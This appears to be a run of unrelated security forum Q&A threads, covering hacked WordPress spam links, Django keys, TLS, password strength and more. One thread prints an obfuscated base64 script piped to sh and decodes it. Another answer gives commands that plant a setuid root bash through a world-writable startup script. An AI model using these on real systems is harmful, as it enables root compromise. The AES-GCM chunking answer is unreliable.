Huge amount of hidden porn backlinks from legit WordPress sites, why they did it? I was doing some backlink research and found a huge amount of legit websites linking to the site I was researching.

The problem was that the anchor text of all the links where porn related terms....
I investigated further and found out that all of the hundreds sites backlinking were WordPress sites.

I investigated further and checked the source code of many sites, they all had the same procedure, a block of backlinks with porn terms in the anchor text just before the ending of a post block:

How To Dress Stylish On A Budget

  porn the closest man to Ted

Women Friendly Bed and Breakfast Lodgings

  porno &#8221;But there were novelty designs

Abercrombie And Fitch Outlet Shelves Trendy Products

  anime porn It then becomes a battle of survival as Gohan<br

Ten Ways to Wear Ladies Polo Shirts and Rugby Shirts

  rape porn trends cheaply<br

How to Enjoy Fall&#8217;s Bounty of Pumpkins

  cartoon porn Many of us think that fashion applies just the clothes we wear

Macerich&#8217;s CEO Discusses Q1 2013 Results

  hd porn A group of models will stand at the entrance

girl Madeleine McCann possibly sighted with German family in Spain

  weight loss tips Do not let your shoes wear you

The links were not visible on any of the sites, as you can see by the code the div block is positioned out of the viewport.

Here are some of the sites, they all appear totally legit and normal and not part of any backlinking scheme network or something...

  www.uppervalleychiropractic.com/2013/12/free-workshop-staying-balanced-healthy-and-sane-during-the-holidays-simple-ways-to-finish-this-year-with-grace-and-ease/

  www.msema.org/two-mississippi-counties-declared-federal-disaster-areas/

  treeplea.es/aprendiendo-de-los-mejores-managament-en-estado-puro/

  www.llamalloyd.se/amnen/english/

I can't figure out what the motive is and why it was done??

The backlinks on the (hacked?) WordPress sites are all linking to real companies
Why are all the anchor text terms related to porn?
If these companies have hired someone to create backlinks for them, why would they insert porn terms in the links and thus ruining their customers SEO?
Could it be competitors that have hired someone to create these malicious backlinks in order to damage their SEO?

I'm a bit shocked by this because this single site I was researching had hundreds and hundreds of porn backlinks from hundreds of legit WordPress sites.

How was the hacking done and why?

How was the hacking done?

Wordpress and its plugins have a long history of security vulnerabilities. These vulnerabilities usually get fixed rather quickly through updates, but many people don't update their wordpress installs. The web is full of Wordpress instances some people set up and then forgot about. These are a prime target for black hat hackers who run bots to find these sites, exploit the vulnerabilities and insert the content the hacker wants.

But why associate non-porn websites with pornographic keywords?

We can not read the minds of the hackers or their customers, so this is pure speculation. Possible motives could be:

Harm the linked websites by getting search engines to flag them as porn and thus hide them from safe search. They might do that to benefit the competitors of these websites or to blackmail them.
As suggested in a comment by CodesInChaos: It could be an attempt at Bayesian poisoning. The spammers want to confuse the porn detection algorithms of search engines and filter software to make them less reliable. The motive could be to get some of their own sites reclassified as safe for work without deassociating them with explicit porn keywords.
They might want to exploit some halo-effect in search engine algorithms. They hope the search engine will reason: Popular site is about porn. Spammers site is also about porn. Therefor, any user who likes popular site might also like spammers site.
For Science! It's just an experiment. They want to know how search engines will react to this attack to figure out more about their algorithms. The algorithms of search engines are closely guarded secrets and the business of tricking them is a multi-billion dollar industry. The more you know about them, the better you will be at SEO.


Antivirus false positive I'm adding new features to an old Borland C++ VCL application using Borland 2006 IDE.

I'm finding that upon adding a single line of code, and building, the exe is being quarantined since Sophos is detecting it as a virus/spyware - Squatter-310 to be exact. If I remove the line then the application builds as expected or if I add the "line" to another routine then it also builds.

Can anyone shed some light as to why this could be the case?

More Info:

The single line of code being added is simply setting the caption of an action from an array which has been loaded with various strings. The index of the array being accessed is within bounds of the array.

Anti Malware systems don't know whether the code you write is in bounds or not, something in your compiled code matches a signature in your anti-virus, hence the alert. You haven't written anything malicious, it's just a coincidence. You could try different compile flags (not sure about how to do that with Borland), or simply restructure your code a bit and the problem will likely go away.


Restriction to ui panel on BeEF+Bettercap generates error login I'm not sure if I discovered a possible bug. I already reported to Bettercap's staff on their Bettercap's Github but as you can see on that link, it seems the problem is not on Bettercap's side. Maybe is a BeEF bug or I am missing something... that's what I try to identify. Let's see if some experienced user can throw light on this.

The problem is long to explain, so I'll summarize it a lot and if you want all details (versions of operating systems, version of Bettercap and BeEF, etc), you can check the link I wrote down above.

The problem is I get an error trying to entering to the BeEF ui control panel: "ERROR: invalid username or password". At first sight you can think is a silly user/pass error but the user and password are ok (defaults beef/beef). The problem only happens if I activate the ui panel IP restriction and Bettercap.

There is an access restriction to BeEF ui control panel that can be done in BeEF config file. By default is: permitted_ui_subnet: "0.0.0.0/0" but I want to restrict it to permitted_ui_subnet: "127.0.0.1/32"

The BeEF config file is ok. If I launch it, it works, even with the ui panel IP restriction. As I said the problem only happens with Bettercap and activating the ui panel IP restriction. Some test results:

Executing only BeEF without the ui panel restriction -> this is working fine
Executing only BeEF with ui panel restriction -> this is working fine too
Executing BeEF without ui panel restriction + Bettercap -> this is working fine
Executing BeEF with ui panel restriction + Bettercap -> Error in login "ERROR: invalid username or password"

It happens on different Linux, with different ruby versions, etc... even tested with default BeEF config only changing the ui panel IP restriction, so I think is not a BeEF config issue.

The questions are: Has somebody experienced something like this? Am I doing something wrong? If some user can test this, could be very nice! I mean Bettercap + BeEF with ui panel IP restriction activated and try to log with default credentials. Thank you.

EDIT I already opened an issue on BeEF's github. Will see what happens: https://github.com/beefproject/beef/issues/1337

EDIT2 The conflicting Bettercap part is the proxy. If I launch Bettercap withou proxy, there is no problem, but I don't understand why because I launch proxy for Bettercap on port 8080 and I looked for http requests on BeEF login and all shown are on port 3000 which is not related... and of course there is no iptables involved in the process, so it makes no sense... I tried to launch Bettercap's proxy in other port different than 8080. I tried using 26210 trying to avoid possible port conflict, but same unsuccessful result.

Finally they solved the problem. It was a bug on bettercap's side:

https://github.com/evilsocket/bettercap/issues/356


Shared Memory expolit in smartphone OS Today there is news about smartphone OS (Android, Windows and iOS) security hole using which some researchers have found a way to literally read all user activity from mobile screen. This is one of the articles giving the news.

The article also notes that this is security hole is because of how shared memory works. But there are no tips given to protect users.

Is there any way to detect if any app is already using this exploit on my phone?

Articles covering this research are, IMHO, bit overhyped. There's no "reading of user's activity from mobile screen". There's no storage of sensitive data in shared memory. Attack observes memory (de)allocations and tries to guess what screen (activity) is being shown in the app now. If something sensitive (e.g. logon form) is detected, then phishing techniques are put into play (which aren't exactly new).

As @raz mentions in comments, you need to download and run malicious app on your phone for this to work, so it's more about post-exploitation technique, actually.

Also, this seems to be Android-only at the time. Researches have only demonstrated their findings on this platform, and talking e.g. about iOS and OS X they state:

  But on Mac OS X and iOS, only system-wide aggregated memory statistics
  seem available through host statistics() API, which may still be
  usable for this attack but with a less accuracy.

Inability to get per-process statistics actually hurts the attack pretty badly.

The paper itself is available here.


How does the security of a GPG2 hybrid-encrypted file compare to a LastPass vault? While discussing LastPass, a colleague told me about
trousseau, a GPG-based method
of sharing key-value stores between developers on shared sites/cloud
drives/etc. How do the two compare in terms of security assuming an
attacker can get hold of the encrypted vault files and possibly the
encrypted GPG private key.

From what I understand, this is how LastPass and GPG encryption work:

LastPass

rounds = user-defined (default: 5000)
encryption_key = PBKDF2(HMAC-SHA256, passphrase, username, rounds)
Vault = AES-256(encryption_key, data)

Attack vectors:

passphrase
vault

GPG2

# Vault
encryption_algorithm = CAST-128 (CAST5) in gpg2 stable or AES-128 in gpg2 "modern"
encryption_key = <128 bits, randomly generated?>
Vault = RSA-2048/3072/4096(encryption_key) || CAST-128(encryption_key, data)

# Private Key
rounds = <stored unencrypted in the key file>
     From the gpg manual, "the default is inquired from
     gpg-agent", and then no other information is given. It
     appears to be calculated to be the number of rounds taking
     100ms to execute on the machine that placed the protection on
     the key. (Source: <https://bugs.gnupg.org/gnupg/issue1800>)
     rounds = 18,874,368 on my 2012 MacBook Pro (2.6 GHz Intel i7)
salt = <64 bits stored unencrypted in the key file>
encryption_key_for_private_key = PBKDF2(HMAC-SHA1, passphrase, salt, rounds)
encryption_algorithm_for_private_key = CAST-128 (CAST5) or AES-128 depending on gpg version

Attack vectors:

RSA-encrypted symmetric key
private key passphrase
vault

Question

Based on the attack vectors, how do they compare? I'm trying to better understand how they work and what the trade-offs might be using one over the other and then later I'm altering the question slightly asking what differences are made by changing GPG's default settings to be even stronger.

HMAC-SHA256(10^3 rounds)
HMAC-SHA1(10^6 rounds)
RSA-2048/3072/4096
CAST-128
AES-128
AES-256

Extra

It appears that the algorithms used by GPG2 are based on values stored in the private keys. Would it be beneficial (or overkill?) to use values like these?

--s2k-digest-algo SHA256 --s2k-count 65000000 --s2k-cipher-algo AES-256

That switches the private key passphrase stretching algorithm to SHA256 using over 65 million rounds and uses AES-256 encryption to encrypt the private key.

For both "tools", the attack vector on the passphrase heavily depends on its length, hence you should specify it for exact comparison. In any case, using a random 12 char password ([a-zA-Z0-9] and special chars) makes both key stores secure against the biggest clusters of graphic card clusters that would try to brute-force it over the next centuries. Checkout a zxcvbn-based password test tool to get an impression.

So the answer to the passphrase attack vector would result in something like "LastPass vault crackable if <=8 char random password, GPG2 method still safe if >=6 char random password". Applying even more rounds of SHA256 (as you suggest in your "Extra" section, which is also possible to configure with LastPass) may bring you to a point where a 7 char random password might still withstand attacks for a long time. Know that your attackers will use dedicated hardware and software that is optimized to calculate SHA256 either in graphic cards or ASICs, but they're powerless against math, which means the longer the passphrase string is, the sooner there won't be away to "ever" crack it.

So assuming your password is fine (>= 12 random chars or a very long string of randomly selected words), there is no more difference in the two approaches (besides the unnecessary additional waiting time for password verification due to higher amounts of hashing rounds), you must consider the next attack vector, which is the extraction of the plain text password during usage. You have to think about the first contact point (your Keyboard where you type it in - think about keyloggers!) until the last contact point (the password in your browser's LastPass plugin before it's being hashed or the console where you type your password to unlock the trousseau vault). As there's one more step (so an additional attack vector) with LastPass, which is the malicious replacement of your LastPass plugin with a fake plugin that would send your plaintext password to another party), you could say that GPG2 has a little advantage. The point of the keylogger is, of course, only valid if you type your password. If you copy&paste it from yet another tool,

About the vault: With LastPass your vault is stored on dedicated backend machines on the servers of LogMeIn. A very sophisticated attacker or an internal LastPass employee could potentially access your vault (this has already happened in the past) and start the password guessing attack. For GPG2, this depends on where you'll place your file. With both approaches you can safeguard the accessibility of the files with 2-factor-authentication (LastPass 2FA, also with hardware security tokens; Dropbox 2FA with Google Authenticator), but beware that not everyone who you share the vault with use 2FA. Here you're also comparing AES-128 to AES-256, and for both attacks, using a proper implementation and configuration (which we would assume is fine with both solutions), you're safe for centuries and an attacker will usually achieve his goal faster by breaking the hash before the AES encryption. So the next data security question is availability of your vault. Besides the availability of the LastPass service and the location where you store your GPG2 vault, you'll have to think of accidental deletion, from which restoration is usually hard if you don't have your own backups. If you only store your GPG2 vault in DropBox, an attacker who gains access to your account would be able to delete the file, wait until the deletion syncs to all parties, delete the file with its history forever and close the DropBox account. The same could happen with a LastPass account, so have a good backup strategy for your vaults, or you'll be praying that you thought of activating offline login with LastPass, which would help you gain access in some browser where you have not yet logged in since the attack (don't forget to actually be offline, else the deletion sync could start).

RSA-encrypted symmetric key: I guess you haven't considered this, but under the hood LastPass is also making use of asymmetric encryption, probably also RSA (you'll have to reverse-engineer the Plugins to be sure), so this is also an attack vector for the LastPass vault. Here it boils down to proper key generation, and this is more transparent with GPG2, especially regarding the entropy pool used for key generation. Looking at the strangely lower-than-expected-entropy of the generated passwords in LastPass and their fall-back to insecure methods if the Web Cryptographi API is not available in the browser, my trust in high-entropy asymmetric keys lies not with their tooling.

So to summarize: It all boils down to the strength of your password and how you handle it. If that part is good enough, you're unnecessarily prolonging the time required to get to your data in the vault by applying more rounds or using stronger encryption algorithms. You lose the least calculation time by changing from AES-128 to AES-256, so that's a thing I would go for. In the end you'll probably decide for a the tool that has the best usability and availability, and maybe you'll care more that you can access the data on your mobile phone or tablet with the LastPass app (this is usually not solved on mobile devices for GPG, or very hard to accomplish in a usable way) than a more open solution with GPG2.

The overall question is much less about applying even better algorithms if the key problem is already solved (password handling). You could either have everything under your control (GPG2 with your own server hosting the vault, making sure your tooling doesn't change without your knowledge), or delegate some control to a third party (LastPass hosting and browser plugin updates) as a trade-off for better usability and less maintenance effort.


Should the root Unix user have a shell? I usually use Debian-derivative distributions such as Ubuntu server. Most of them come pre-configured to use sudo rather than su and to prevent access to the root account at all possible.

With this in mind, should root have a shell in /etc/passwd? If I cannot login as root, does it make sense to give root a real shell?

Normally one would need a shell, e.g. when logging in directly on the console, or in single user mode. Install a test system in a virtual machine and try it out?


Is a standalone phone number considered Personally Identifiable Information? Personally Identifiable Information (PII) is defined (the example below is from NIST) as (emphasis mine)

  Information that can be used to distinguish or trace an individual's
  identity, such as name, social security number, biometric records,
  etc. alone, or when combined with other personal or identifying
  information that is linked or linkable to a specific individual, such
  as date and place of birth, mother’s maiden name, etc.

How should this be interpreted in the case of a single phone number, not associated to a name?

In other words, if an application is sending bare phone numbers to a server (I am looking at you WhatsApp) without the name of the number owner, is that number still PII?

EDIT: Jonah Benton gave in his answer a very nice summary of the question, I quote him for the sake of clarity

  (...) the question refers to a practice where an app on a user's phone
  gets access to contacts (...) on the phone and uploads all
  phone numbers to the server without also uploading the names
  associated with those numbers (despite having access to them.)

  Are these uploaded bare numbers, without names, considered PII?

It depends. Could this number linked to a single person? (e.g. it is your cell number and if I know this number is in a database and know it's yours, then I know you are in that DB)

Then yes.

If this is not possible (e.g. it is the central call in number of a big corporation that is connected to any available agent) then no.

If you only have phone numbers without further information about them, you have to assume it is PII, because you don't know if a number belongs to an individual or not.


Should I chunk or not for AES-GCM file encryption New to file encryption. Need to use AES-GCM for file encryption, can't change the alg. Heard about the max plain text size should be 64GB with same key and IV pair. Environment is python 3 with cryptography module.

Question:
As GCM is a stream mode, to encrypt the file should I chunk the file to 128 bits and do encryption on each chunk OR  read the whole file at once and pass it to the encryption function (out of memory issue ?) ?

What is the way to read the file and pass it to the encryption function ?

If you are dealing with text files of size 64 GB or even smaller I believe you should chunk the file and start encrypting portions immediately. This was the former option you mentioned above.

The reason to use GCM vs something like CBC is because GCM can be run in parallel while CBC which is equally secure cannot. If you 'waste' the cpu's ability to start encrypting while it is waiting on the file to load into memory it will be less efficient. GCM is an algorithm meant to be run with " instruction-level parallelism" to refer to the wikipedia page.

You should have the program start loading the file, start encrypting the first 128-bit portion and continue till the whole doc is encrypted.

 Python cryptography docs  and  Pycryptodome docs


What is the purpose of enclosing process spawning? This file/script is supposed to scan for outdated Node modules and prompt the developer to update them, however I believe it is malware.

The instructions were to download the file, set the executable flag (chmod +x) and run it from the directory of the project (or with the -g flag to scan global Node modules).

Here is the contents of the file:

#!/bin/bash
openssl enc -base64 -d <<< b3BlbnNzbCBlbmMgLWJhc2U2NCAtZDw8PGJtOWtaU0F0TFdWMllXd2dJbkpsY1hWcGNtVW9KMk5vYVd4a1gzQnliMk5sYzNNbktTNWxlR1ZqUm1sc1pWTjVibU1vSjNCb2NDY3NXeWN0Y2ljc1hHQnplWE4wWlcwb1hDSndlWFJvYjI0Z0xXTWdYRnhjWEZ3aWFXMXdiM0owSUhOMVluQnliMk5sYzNNN2MzVmljSEp2WTJWemN5NWpZV3hzS0ZzbmNuVmllU2NzSnkxbEp5d25aWGhsWXlCY1hGd25KQ2gzYUdsamFDQm5ieWtnY25WdUlHTm1PRE5sTVRNMU4yVmxabUk0WW1SbU1UVTBNamcxTUdRMk5tUTRNREEzWkRZeU1HVTBNRFV3WWpVM01UVmtZemd6WmpSaE9USXhaRE0yWTJVNVkyVTBOMlF3WkRFell6VmtPRFZtTW1Jd1ptWTRNekU0WkRJNE56ZGxaV015WmpZellqa3pNV0prTkRjME1UZGhPREZoTlRNNE16STNZV1k1TWpka1lUTmxMbWR2WEZ4Y0p5ZGRLVnhjWEZ4Y0lsd2lLVHRjWUYwc2UzTjBaR2x2T2lkcGJtaGxjbWwwSjMwcE95ST18c2g=|sh

After I investigated a bit, it appears that the actual commands were double encoded. This is what the obfuscated code looks like in decoded form:

node --eval "require('child_process').execFileSync('php',['-r',\`system(\"python -c \\\\\"import subprocess;subprocess.call(['ruby','-e','exec \\\'$(which go) run cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e.go\\\''])\\\\\"\");\`],{stdio:'inherit'});"

If I understand correctly, the script executes a Node script to synchronously spawn 1 PHP process that spawns 1 Python process which in turn spawns 1 Ruby process to spawn a Go process to run a file (which doesn't exist).

It appears that the file name is a SHA-512 hash (there are quite a few results on Google for it, though I'm not sure what the hash is supposed to refer to).

What's the purpose of writing this script to run a file that most likely doesn't exist in anyone's projects?
Is this an example of a fork bomb? It only appears to create 5 processes in total (not exponential), unless I misinterpreted something.
What's the purpose of spawning the processes through the different interpreters (Node, PHP, Python, etc.)? Wouldn't it be easier to encode the command go run <filename>.go? And also wouldn't it be more likely to work (as the victim would only require go in their PATH instead of needing all of the tools)?

Any serious virus probably wouldn't want to bet on the victim having all those languages installed. The script doesn't appear to be malicious at all, I ran it in a VM and it went about as expected. Its almost certainly some kind of joke.

The filename is the sha512 hash of an empty string (checked here).


Django SECRET_KEY security, how are methods more secure I am nearing a point where I will deploy my Django application to the hostile environment otherwise known as "the internet" and I'm trying to better understand the ramifications of the Django SECRET_KEY. One of the standard procedures it seems is to secure the secret key in the settings.py. Fair enough. The docs go so far to say to not commit your secret key to SVN, CVS, etc... For this provides easy access to your key. However, if anyone were tempted to commit the secret key to their repo, this would indicate that the secret key is static (see question #4)?

Anyway, here are my questions:

How is storing the secret key as an environment variable any more secure than storing it directly in settings.py? For example, if an attacker can read settings.py, he more than likely can just type $ echo $DJANGO_SECRET_KEY!
How is storing the secret key in a file any more secure than storing it directly in settings.py? If he can read settings.py, he probably can read django_secret_key.txt.
If the attacker has compromised your machine, can't they simply load the python interpreter with settings.py to > print settings.SECRET_KEY?
Finally, would it be a bad practice to randomly generate the secret key each time the webserver process is restarted? This could be completely random, or it could prompt for user input for the key. Obviously, the latter presents a serious weakness if the attacker himself can restart the webservice and input the key of his choice.

Once an attacker already has access to the system it's already way too late. The main concern  for not leaking the key is because it is often used as a seed for hashing and signing sessions.  The idea is that your production SECRET_KEY needs to be completely different than your development or staging SECRET_KEY. You can actually randomly generate it every restart although this might impact user experience (see details below).

As long as you adhere to the principle of changing the key there is not much danger if you commit or not (as long as you ensure it is changed once going from dev to prod). If you don't, then someone having the key can predict the outcome of hashing algorithms (used for sessions) or even sign sessions.

If an attacker has gained access to your system you're already too far gone because it's not your system anymore. One thing you do need to ensure is that the file permissions on your settings file is only readable by the user running the webserver and by no-one else. This prevents someone who illegitemately gained access to a limited account, which is not the same as the webserver account, from compromising your key.

There is a good answer here on Stack Overflow: Django SECRET_KEY written by sberder which details what it is used for:

  JSON object signing
  crypto functions for salted hmacs or seeding the random engine which impacts:

  password reset token
  comment form security to protect against forged POST requests
  form security
  protect against message tampering as the message framework may use cookies to pass messages between views.
  protect session data and create random session keys to avoid tampering as well.
  create random salt for most password hashers
  create random passwords if necessary
  create itself when using startproject
  create CSRF key

  In reality a lot of the items listed here use SECRET_KEY through django.utils.crypt.get_random_string() which uses it to seed the random engine. This won't be impacted by a change in value of SECRET_KEY.

  User experience directly impacted by a change of value are:

  sessions, the data decode will break, that is valid for any session backend (cookies, database, file based or cache).
  password reset token already sent won't work, users will have to ask a new one.
  comments form (if using django.contrib.comments) will not validate if it was requested before the value change and submitted after the value change. I think this is very minor but might be confusing for the user.
  messages (from django.contrib.messages) won't validate server-side in the same timing conditions as for comments form.


Is TLS 1.0 sufficiently secure for a bank? I disabled SSL2 and SSL3 in my Firefox browser, version 24. I only enabled TLS 1.1 and 1.2. Unfortunately when I went to my bank's website, I found that it didn't work until I re-enabled TLS 1.0.

Additional information: my bank site uses RSA encryption.

Does that mean my bank's website is less secure than is should be, or is this acceptable?

What this means is that your bank's server supports TLS-1.0, not 1.1 or 1.2. Versions 1.1 and 1.2 adds some extra features, but that does not mean that TLS-1.0 is weak. In fact the only relevant security feature added by TLS-1.1 over 1.0 is the per-record random IV. This feature inherently protects against some chosen-plaintext attacks, namely the so-called "BEAST attack". However, this attack can also be defeated with SSL-3.0 and TLS-1.0 if the client implements a workaround known as the 1/n-1 split, and Firefox implements it. Also, BEAST can be leveraged only by exploiting a Same-Origin-Policy hole, and no such hole is currently known in current browsers (the two which were used in BEAST demonstrations have been fixed since that time).

For these two reasons, you should not worry about TLS-1.0. In very general terms, it is best when people deploy new protocol versions, so that the new features percolate worldwide; but there is no urgency.

When your bank account gets plundered, it won't be through a TLS protocol hole. Malware installed on your machine is a much bigger threat, indeed.


Can BlackBerry keep us safe from network providers I recently brought a BlackBerry mobile and the reason I have gone with BB was the security it ensures and now I have a doubt.

That said in the Internet, Massage from BBM will first reach Canada via our network provider carrier:

Is there any possibility that our N/W provider can spoof our data in the middle before it reaches RIM?
Can BlackBerry keep us safe when we are surfing in the Internet for Facebook and so?
Recently I have also heard that our network providers are monitoring our activities in the Internet if so how can common men and women keep privacy of their own?

It does depend on what protocols you're using to access the network provider.

The legacy network is still operational but was once audited by the UAE, and had some interesting security properties.

Now you are probably using a modern BES device.  Most of this relies on standard TLS protocols, which is arguably more secure depending on the version you're using.

For example, modern Activesync devices use TLS, whereas prior users had to proxy through a private VPN of sorts maintained by BES and their patented network.  As long as you trust your root certificates, you should be OK.


Attacks on "signatures" of the form sha256(message || secret)? I am testing an application that generates signatures in the following way

signature = sha256(message || shared_secret)

I know that if the signature was constructed with the message appended to the shared secret (i.e. signature = sha256(shared_secret || message)), this would be vulnerable to a length extension attack, but that does not seem applicable here.

Is this way to generate signatures vulnerable? I do think it's a bad idea anyway to use a hash function instead of HMAC to generate signatures, but I'd like to know if this is vulnerable to particular kinds of attacks.

From Wikipedia:

  The alternative, appending the key using MAC = H(message ∥ key), suffers from the problem that an attacker who can find collision in the (unkeyed) hash function has a collision in the MAC (as two messages m1 and m2 yielding the same hash will provide the same start condition to the hash function before the appended key is hashed, hence the final hash will be the same).


Is IP spoofing possible in Windows Desktop with user privileges? I read on WinSockAPI that IP spoofing is disabled for Desktop windows devices (non-servers like Windows 7, etc). However, I've been able to do IP spoofing using nmap, so clearly this is possible. However, nmap requires admin privileges. Is it possible to send spoof packets as a user?

With nmap, I did see the error, but it sent the packets anyways.

NSOCK ERROR [1.4590s] mksock_bind_addr(): Bind to [spoofed IP]:0 failed (IOD #5): The requested address is not valid in its context.  (10049)

Mostly no. IP spoofing was disabled in XP and is still available on some server versions.

Limitations on Raw Sockets:
On Windows 7, Windows Vista, Windows XP with Service Pack 2 (SP2), and Windows XP with Service Pack 3 (SP3), the ability to send traffic over raw sockets has been restricted in several ways:
UDP datagrams with an invalid source address cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. This change was made to limit the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets (TCP/IP packets with a forged source IP address).
These above restrictions do not apply to Windows Server 2008 R2, Windows Server 2008 , Windows Server 2003, or to versions of the operating system earlier than Windows XP with SP2.

Source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms740548(v=vs.85).aspx


Exploiting a Linux startup script that is world writable What are startup scripts in Linux and what are the steps to exploit startup scripts if they are world writable?

I would appreciate if one can explain based on the following two files as example in Ubuntu 16:

/etc/init.d/README
/etc/init.d/sudo

Arrange, to run as root:

cp $(which bash) $(which bash).muhaha
chmod u+s $(which bash).muhaha

Now, executing $(which bash).muhaha -p gives root to any user. You can even run a script as root with $(which bash).muhaha -p /path/to/script.

The -p option is necessary because otherwise bash detects that it is setuid and drops root privileges as a security measure.


How can the passphrase matter besides the very most obvious patterns? Let's say that my passphrase is:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapassword9

Yes, it looks ridiculous. But only because we already know it. An attacker, trying to brute-force their way into this passphrase, has zero knowledge about it. That is, unless they have somehow heard or seen me boast about how I always pick passwords where I mostly press the same key over and over followed by an English word and then one digit.
They simply have no idea that I use a password like this.
I would expect any brute-force program to check every dictionary word, and perhaps various verified (through leaked databases and whatnot) common passwords such as "aaaaaaaaaaaaaaaaaaaaaaaa" or "qwerty". But then we have the infinite number of variations. Somebody might be using a password such as:
password1e

I can buy that "password1" is an easily brute-forced password, because it's such a simple and easily tested variation, likely to be used by some. But in this case, we follow with "e". That already seems very unlikely that they would brute-force-test with. It immediately strays too far from what can be reasonably expected. And again, they are "blind" to this, so they would also have to test for "passworde1" and "e1password" and "1epassword", etc.
It seems to me that no brute-force mechanism could crack any non-ultra-trivial password. In terms of sheer numbers, "password1e" is identical in difficulty to "a0dLsXDdLs", a passphrase with the same number of characters but looking (to a human) much more random and thus strong. But the brute-forcer doesn't care if it's "password1e" or "a0dLsXDdLs", or rather, it cannot care since it would have to check everything in some kind of order, and they have no reason that it's going to be a dictionary word for those specific beginning characters and then followed by the more random "1e". So it won't test that "first" unless it's been specifically programmed to do so. And if it has, then it has prior knowledge about what the password is. Which we don't in reality.
I have to say that I'm starting to feel skeptical that passphrases (which aren't extremely obvious) can actually be cracked by normal computers. Either that, or I'm grossly misunderstanding security again. (As I have repeatedly done in life.)

You defeat password brute-forcing not by the resulting pattern that is created but by the randomness of how the password was created.
password1 is easily guessed because 1) it's used often, so it's in "Top 100" password dictionaries, and 2) it follows a normal pattern that people often choose (dictionary word followed by a digit). There is little randomness in how it is chosen.
If password1e is in a dictionary, and you use it, then the game is over. The fact that you have added one small addition to a normal and expected pattern adds time to guessing, yes, but if the brute-forcer tries this pattern, then game over. You've taken a known password and added a character. This has very low randomness, and it's an easily guessable pattern.
If your password aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapassword9 gets leaked, I now know your password pattern and I can design a brute-force approach for your accounts. Game over. It's long, sure, and if I'm trying to guess it character by character, it will take a long time. But once I know your pattern, the length is meaningless.
Password patterns are like hiding your house key under the mat. They work until someone knows where to look, then every password that uses the pattern is useless against this attacker.
In security, there is a concept known as Kerckhoffs's principle, which says that a secure system should be able to remain secure even if an attacker knows how the system works.

If I know your password pattern, then your password is not secure
If you use a random password generator, then the password is secure even if every attacker in the world knows that you do that
If you use 4 randomly chosen dictionary words, your password is secure for quite a while due to the size of a typical dictionary
If you use 4 words that you choose yourself, your password is not so secure due to the small number of words the average person will think of (and yes, there is research directly into this, and the list of words is shockingly small)

The more randomness there is in the selection of a password, the more secure it is. Length does help, but length can be defeated by a known pattern.


The UK Terror Watchdog says this is very difficult in practise, is it? I saw this quote today in the Guardian

  David Anderson QC, the terror legislation watchdog commissioned to
  report on the state of Britain’s surveillance laws in the aftermath of
  Snowden’s disclosures, has previously said that internet connection
  records included storing details of every website visited up to the
  first forward slash in their address – but not a detailed record of
  all web pages on a particular site. The internet connection records
  will also include times of contacts and the addresses of the other
  computers or services with which the user made contact.

  “Under this definition a web log would reveal that a user had visited
  eg google.com or bbc.co.uk but not the specific page,” said Anderson
  in his report, A Question of Trust. “It could also of course reveal
  ... that a user has visited a pornography site or a site for sufferers
  of a particular medical condition, though the Home Office tells me it
  is in practice very difficult to piece together a browsing history.”

Given this information logged over time (it's kept for 1 year) by an ISP, would it really be difficult to piece together the browsing history of an individual? (ignoring the other types of information that is either already available to them or they can get further to this)

The only hurdle I can see is differentiating the individual from others at that physical address, but if an analysis of Facebook likes can reveal if I'm gay then I reckon a year's worth of browsing history from one physical address could easily be divvied up into individuals. Even if the number of individuals is unknown.

What have I missed?

Edit: I wrote to David Anderson QC, and he tells me that is a quote from his report and is only stating what the Home Office told him, his opinions are given later in the report. I don't think this changes the validity of the question though, but I don't want to be unfair to him.

Would it really be difficult to piece together the browsing history of
  an individual?

I think this is considered metadata. In my opinion, metadata can piece together what a user was doing:

  They know you rang a phone sex service at 2:24am and spoke for 18 minutes. But they don't know what you talked about.

  They know you called the suicide prevention hotline from the Golden Gate Bridge. But the topic of the call remains a secret.

  They know you spoke with an HIV testing service, you doctor, then your health insurance company in the same hour. But they don't know what was discussed.

Perhaps not totally on topic, but I hope you get the idea.


Is it sensible to use application password bypassing two factor authentication? I discovered that some applications (like Sylpheed) seems unable to support two factor authentication.

Google has a feature called application passwords - a separate password that "grants complete access to your Google Account".

Maybe I am missing something, but it seems to completely negate any benefits from enabling two factor authentication. Attacker again needs only to break a password.

Is it sensible to enable two factor authentication and then create a separate password that bypasses it?

Google's application password is computer-generated, and so likely to be much stronger than a human-generated password. That is OK because the generated password is stored by the device, not memorized by a human.  Google's application passwords appear to be 16 lowercase letters. That gives 4x1022 combinations.  An attacker who can try ten billion combinations per second would need about a year and three months to test all possible combinations.  On the average, such an attacker would "hit" on the correct password in seven months.

Application passwords are intended only for devices to which two-factor authentication is not applicable.  Remember, the three properties of information security are confidentiality, integrity, and availability.  When you use an application password, you accept a notional decrease in confidentiality and integrity for a very real increase in availability; without the application password, you wouldn't be able to use your Google account at all on certain devices because the application wasn't designed for two-factor security.
As Boris the Spider has already pointed out, you use these on a per-device basis.  If my iPhone is stolen or lost, I can revoke the password.  Presumably remote-wiping a lost device would delete the application password as well.

Finally, good security requires layered protection.  If you are worried that, say, the government of Elbonia (or maybe the NSA) is trying to crack your Gmail, not only would you change the application password every month or so, you'd use something like GPG to encrypt your communications so that even a compromise of your Gmail account wouldn't compromise the contents of the messages.


Encryption - how to secure files - decrypting exposes them on SSD Let's say I have an encrypted file. Now I decrypt it but since my computer only has SSD, i decrypt it on the SSD drive. Say, I make changes or I finish using the decrypted file so I encrypt it again. But since I am on SSD, there is no way of properly purging the file from the drive without purging the whole drive (and who knows whether that can be trusted). From this, it seems the whole concept of encryption is only useful for transportation but not for secure storage because inevitably, once I need to decrypt I create a vulnerability which is not easily handled. Or am I wrong, is there some simple way?
I was then thinking about software like TrueCrypt (or VeraCrypt today) which can then mount an ecnrypted container, but the problem is, I have no idea what is happening to the file that is being opened, edited etc, is it only read into memory without being decrypted to some temporary space on hard drive and then once changes are made encrypted again without the use of HDD?
Another ideay that came to my mind was to create a special partition for such files and encrypt that partition (but again, am I safe to assume that the files never leave that partition? Of course not considering that I copy them somewhere, but more likely some application using tmp etc).
